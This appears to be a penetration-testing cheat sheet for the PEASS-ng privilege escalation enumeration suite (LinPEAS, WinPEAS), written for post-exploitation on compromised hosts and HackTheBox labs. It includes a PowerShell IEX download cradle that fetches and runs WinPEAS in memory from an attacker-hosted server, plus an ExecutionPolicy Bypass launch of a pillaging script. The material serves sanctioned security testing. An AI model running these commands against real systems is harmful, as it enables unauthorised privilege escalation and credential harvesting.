tools

Overview

PEASS-ng (Privilege Escalation Awesome Scripts Suite — Next Generation) is a toolkit for automated privilege escalation enumeration on Linux and Windows systems. It includes LinPEAS (Linux) and WinPEAS (Windows), which scan the local system for misconfigurations, weak permissions, vulnerable software, credentials, and other vectors that could allow privilege escalation to root or SYSTEM.

Target / Context

Compromised Linux or Windows hosts during post-exploitation. Used immediately after initial access to identify privilege escalation vectors before manual enumeration.


Installation

ℹ︎Installation Commands:

linpeas (download to attacker machine):

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

winpeas (PowerShell version URL for hosting):

https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1

Basic Usage

ℹ︎Basic Usage:

linpeas:

bash linpeas.sh

winpeas (PS):

IEX(New-Object Net.WebClient).downloadString('http://<attacker>:8080/winPEAS.ps1')

Flags & Options

ℹ︎Flags & Options:

LinPEAS

FlagDescriptionExample
-aPerform all checks (more thorough)bash linpeas.sh -a
-NDisable color outputbash linpeas.sh -N
-hShow help and available optionsbash linpeas.sh -h

WinPEAS — flags vary by version; PowerShell version accepts parameters at runtime.


Output Color Coding (LinPEAS)

ColorMeaning
RedHigh-probability privilege escalation vector
YellowPotential vector requiring further analysis
GreenGeneral information useful for manual enumeration

Common Use Cases

LinPEAS — Transfer and Execute on Linux Target

Upload LinPEAS from attacker machine to target, execute, and save results.

ℹ︎Commands:

On attacker machine (download):

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Transfer to target:

scp linpeas.sh <username>@<target-IP>:<path>

With key:

scp -i <private-key> linpeas.sh <username>@<target-IP>:/tmp/linpeas.sh

On target — convert and execute:

dos2unix linpeas.sh
bash linpeas.sh -a -N > /tmp/linpeas_results.txt

Retrieve results:

scp -i <private-key> <username>@<target-IP>:/tmp/linpeas_results.txt ./

WinPEAS — Serve and Execute via PowerShell (No Upload Required)

Host WinPEAS on attacker machine and execute in-memory on target.

ℹ︎Commands:

On attacker machine:

python3 -m http.server 8080

On target (PowerShell):

powershell "IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP>:8080/winPEAS.ps1')" > winpeas.txt

linpill.sh (HTB Companion Script)

A lightweight pillaging script from HackTheBox — less thorough than LinPEAS but stores results in /tmp for quick review.

ℹ︎Commands:
dos2unix linpill.sh
bash linpill.sh

Script: linpill.sh — available from HackTheBox resources

winpill.ps1 (HTB Companion Script)

WinPEAS companion pillaging script. Execute as Administrator for full results.

ℹ︎Commands:
Start-Process powershell.exe -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File C:\\winpill.ps1"

Script: winpill.ps1 — available from HackTheBox resources



References / Images